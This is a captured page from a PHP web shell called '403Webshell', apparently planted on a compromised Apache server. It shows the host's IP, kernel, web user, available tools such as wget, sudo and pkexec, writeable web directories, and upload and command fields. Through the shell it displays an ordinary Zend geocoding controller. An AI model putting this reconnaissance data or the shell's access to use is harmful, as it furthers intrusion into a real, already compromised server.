403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/application/controllers//PracticeController.php
<?php

/*
 * Catabatic Technology Pvt. Ltd.
 * File Name :PackagesearchController.php
 * File Description :Packagesearch Controller managed all data related to package search
 * Created By : Pooja Choudhary
 * Created Date: 22-August-2016
 */

class PracticeController extends Zend_Controller_Action {

    public function init() {

      
    }

    public function indexAction() {
         //$this->_helper->layout()->disableLayout('left-navigation'); 
       // $this->_helper->viewRenderer->setNoRender(true);
		 
		
    }
	
	public function getlatlongAction(){
		$this->view->layout()->disableLayout();
        $this->_helper->viewRenderer->setNoRender(true);
		$google_dr_address = $this->_request->getParam('showlocation');
		$address = urlencode($google_dr_address);
		$region = "";
		$json = file_get_contents("http://maps.google.com/maps/api/geocode/json?address=$address");
		$decoded = json_decode($json);
		$get_lat_long = $decoded->results[0]->geometry->location;//print "<pre>";print_r($get_lat_long);print "</pre>";die;
		if(is_object($get_lat_long) && (!empty($get_lat_long))){
		$latitude = $get_lat_long->lat;
		$longitude = $get_lat_long->lng;
		echo $grp_lat_lng = $latitude.','.$longitude;
		}
	}

   
}

    

Youez - 2016 - github.com/yon3zu
LinuXploit